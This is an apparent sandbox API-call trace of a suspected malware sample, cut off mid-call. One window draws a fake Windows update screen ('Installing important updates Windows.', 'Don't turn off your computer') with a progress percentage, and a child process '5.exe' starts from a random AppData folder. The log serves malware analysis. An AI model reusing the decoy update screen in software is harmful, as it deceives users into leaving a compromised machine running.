NtdllDefWindowProc_W () returned 0x0 [0061.482] NtdllDefWindowProc_W () returned 0x0 [0061.483] NtdllDefWindowProc_W () returned 0x1 [0061.483] TranslateAcceleratorW (hWnd=0x9011c, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.483] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.483] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.483] BeginPaint (in: hWnd=0x9011c, lpPaint=0x18e2e0 | out: lpPaint=0x18e2e0) returned 0x24010859 [0061.483] EndPaint (hWnd=0x9011c, lpPaint=0x18e2e0) returned 1 [0061.483] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.483] TranslateAcceleratorW (hWnd=0x50120, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.483] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.483] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.483] BeginPaint (in: hWnd=0x50120, lpPaint=0x18d9c8 | out: lpPaint=0x18d9c8) returned 0x801086c [0061.484] CreateSolidBrush (color=0x5b3ef) returned 0x31100256 [0061.484] FillRect (hDC=0x801086c, lprc=0x18d9b8, hbr=0x31100256) returned 1 [0061.484] DeleteObject (ho=0x31100256) returned 1 [0061.484] DrawIcon (hDC=0x801086c, X=7, Y=7, hIcon=0xd00e3) returned 1 [0061.484] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x190a089d [0061.484] SelectObject (hdc=0x801086c, h=0x190a089d) returned 0x18a002e [0061.484] SetBkMode (hdc=0x801086c, mode=1) returned 2 [0061.484] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0061.484] TextOutW (hdc=0x801086c, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0061.484] SelectObject (hdc=0x801086c, h=0x18a002e) returned 0x190a089d [0061.484] CreateSolidBrush (color=0xffffff) returned 0x32100256 [0061.484] FillRect (hDC=0x801086c, lprc=0x18d9a8, hbr=0x32100256) returned 1 [0061.484] DeleteObject (ho=0x32100256) returned 1 [0061.484] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x90a0889 [0061.485] SelectObject (hdc=0x801086c, h=0x90a0889) returned 0x18a002e [0061.485] SetBkMode (hdc=0x801086c, mode=1) returned 1 [0061.485] lstrlenW (lpString="Getting your update ready.") returned 26 [0061.485] TextOutW (hdc=0x801086c, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0061.485] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0061.485] TextOutW (hdc=0x801086c, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0061.485] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0061.485] TextOutW (hdc=0x801086c, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0061.485] SelectObject (hdc=0x801086c, h=0x18a002e) returned 0x90a0889 [0061.485] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x60a0886 [0061.485] SelectObject (hdc=0x801086c, h=0x60a0886) returned 0x18a002e [0061.485] SetBkMode (hdc=0x801086c, mode=1) returned 1 [0061.485] SetTextAlign (hdc=0x801086c, align=0x6) returned 0x0 [0061.485] wsprintfW (in: param_1=0x18da08, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0061.486] lstrlenW (lpString="Percent complete: 4%") returned 20 [0061.486] TextOutW (hdc=0x801086c, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0061.486] SelectObject (hdc=0x801086c, h=0x18a002e) returned 0x60a0886 [0061.486] EndPaint (hWnd=0x50120, lpPaint=0x18d9c8) returned 1 [0061.486] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.486] TranslateAcceleratorW (hWnd=0x40124, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.486] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.486] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.488] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.488] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.488] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.488] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.489] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.489] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.489] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.489] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.489] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.489] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.489] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.489] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.490] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.500] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.500] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.500] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.500] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.501] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.501] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.501] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.501] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.547] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.547] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.547] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.547] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.547] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.547] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.547] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.548] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.594] TranslateAcceleratorW (hWnd=0x301cc, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.594] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.594] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.594] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.594] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.594] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.594] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.594] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.594] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.594] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.594] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.595] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.641] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.641] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.641] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.641] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.641] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.641] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.641] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.642] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.687] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0061.687] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.687] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.687] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.656] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0062.656] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.656] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.656] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.701] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0062.701] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.701] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.701] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.701] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0062.701] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.701] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.703] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.748] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0062.748] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.748] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.748] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.748] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0062.748] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.748] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.749] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.795] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0062.795] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.795] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.795] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.795] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0062.795] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.795] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.796] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.842] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0062.842] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.842] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.842] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.842] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x3001b1, lpMsg=0x18e548) returned 0 [0062.842] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.842] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.843] GetMessageW (lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0062.871] NtdllDefWindowProc_W () returned 0x1 [0062.871] NtdllDefWindowProc_W () returned 0x1 [0062.871] NtdllDefWindowProc_W () returned 0x0 [0062.871] NtdllDefWindowProc_W () returned 0x0 [0062.872] NtdllDefWindowProc_W () returned 0x0 [0062.872] NtdllDefWindowProc_W () returned 0x1 [0062.873] NtdllDefWindowProc_W () returned 0x0 [0062.873] NtdllDefWindowProc_W () returned 0x0 [0062.874] NtdllDefWindowProc_W () returned 0x0 [0062.874] NtdllDefWindowProc_W () returned 0x0 [0062.874] NtdllDefWindowProc_W () returned 0x2 [0062.874] NtdllDefWindowProc_W () returned 0x0 Thread: id = 58 os_tid = 0xb44 [0052.265] timeGetTime () returned 0x1bd36 [0052.265] timeGetTime () returned 0x1bd36 [0052.265] Sleep (dwMilliseconds=0x3e8) [0053.685] timeGetTime () returned 0x1c12c [0053.685] timeGetTime () returned 0x1c12c [0053.685] Sleep (dwMilliseconds=0x3e8) [0054.933] timeGetTime () returned 0x1c522 [0054.933] timeGetTime () returned 0x1c522 [0054.933] Sleep (dwMilliseconds=0x3e8) [0055.960] timeGetTime () returned 0x1c918 [0055.960] timeGetTime () returned 0x1c918 [0055.960] Sleep (dwMilliseconds=0x3e8) [0057.101] timeGetTime () returned 0x1cd0e [0057.101] timeGetTime () returned 0x1cd0e [0057.101] Sleep (dwMilliseconds=0x3e8) [0058.333] timeGetTime () returned 0x1d104 [0058.333] timeGetTime () returned 0x1d104 [0058.333] Sleep (dwMilliseconds=0x3e8) [0061.563] timeGetTime () returned 0x1d4fa [0061.563] timeGetTime () returned 0x1d4fa [0061.563] Sleep (dwMilliseconds=0x3e8) [0062.635] timeGetTime () returned 0x1d91f [0062.635] timeGetTime () returned 0x1d91f [0062.635] Sleep (dwMilliseconds=0x3e8) Process: id = "9" image_name = "5.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe" page_root = "0x2f0d0000" os_pid = "0xb30" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xaa8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 55 os_tid = 0xb34 [0052.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xab75bf30, dwHighDateTime=0x1d53993)) [0052.031] GetCurrentProcessId () returned 0xb30 [0052.031] GetCurrentThreadId () returned 0xb34 [0052.031] GetTickCount () returned 0x1bc3c [0052.031] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17235604803) returned 1 [0052.100] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x433961)) [0052.100] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0052.100] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x250000 [0052.101] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.102] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0052.102] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0052.102] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0052.102] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0052.102] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x214) returned 0x2507d0 [0052.103] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.103] GetCurrentThreadId () returned 0xb34 [0052.103] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x42d407, hStdOutput=0x42d7ba, hStdError=0x2507d0)) [0052.103] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x800) returned 0x2509f0 [0052.103] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0052.103] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0052.103] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0052.103] SetHandleCount (uNumber=0x20) returned 0x20 [0052.103] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe\" " [0052.103] GetEnvironmentStringsW () returned 0x631f00* [0052.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0052.103] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x565) returned 0x2511f8 [0052.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2511f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0052.103] FreeEnvironmentStringsW (penv=0x631f00) returned 1 [0052.103] GetLastError () returned 0x5 [0052.104] SetLastError (dwErrCode=0x5) [0052.104] GetLastError () returned 0x5 [0052.104] SetLastError (dwErrCode=0x5) [0052.104] GetLastError () returned 0x5 [0052.104] SetLastError (dwErrCode=0x5) [0052.104] GetACP () returned 0x4e4 [0052.104] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x220) returned 0x251768 [0052.104] GetLastError () returned 0x5 [0052.104] SetLastError (dwErrCode=0x5) [0052.104] IsValidCodePage (CodePage=0x4e4) returned 1 [0052.104] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0052.104] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0052.104] GetLastError () returned 0x5 [0052.104] SetLastError (dwErrCode=0x5) [0052.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.104] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0052.104] GetLastError () returned 0x5 [0052.104] SetLastError (dwErrCode=0x5) [0052.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ틮ꢝ뺺CĀ") returned 256 [0052.104] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ틮ꢝ뺺CĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0052.104] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ틮ꢝ뺺CĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0052.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 